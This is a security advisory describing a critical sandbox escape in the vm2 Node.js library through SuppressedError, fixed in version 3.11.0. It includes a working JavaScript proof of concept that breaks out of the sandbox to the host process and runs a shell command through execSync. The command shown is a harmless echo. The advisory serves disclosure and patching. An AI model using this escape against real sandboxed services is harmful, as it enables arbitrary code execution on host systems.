Vulnerability GHSA-55hx-c926-fr95

Critical
CRITICAL RISK
CVSS Score: 9.8
Score Range: 9.0–10.0
Critical severity vulnerabilities (CVSS 9.0–10.0). These represent the highest impact issues.
6 months ago
May 05, 2026 at 04:33 PM UTC
VM2 Has a Sandbox Escape Issue via SuppressedError
0.1.0 - 3.10.5
0.1.0 - 3.10.5

Summary

VM2 Has a Sandbox Escape Issue via SuppressedError

Details

In vm2 v3.10.4 on Node.js v24.13.0, SuppressedError allows attackers to escape the sandbox and run arbitrary code.

PoC

const { VM } = require("vm2");

const vm = new VM();

vm.run(`
const ds = new DisposableStack();
ds.defer(() => { throw null; });
ds.defer(() => {
  const e = Error();
  e.name = Symbol();
  e.stack;
});
try {
  ds.dispose();
} catch(e) {
  const Function = e.suppressed.constructor.constructor;
  const process = new Function("return process;")();
  const { execSync } = process.mainModule.require("node:child_process");
  execSync("echo pwned", { stdio: "inherit" });
}
`);

Impacted packages

Timeline

Published
6 months ago
May 05, 2026 at 04:33 PM UTC
Fixed (3.11.0)
6 months ago
May 01, 2026 at 08:38 PM UTC
Last Modified
6 hours ago
November 04, 2026 at 03:45 AM UTC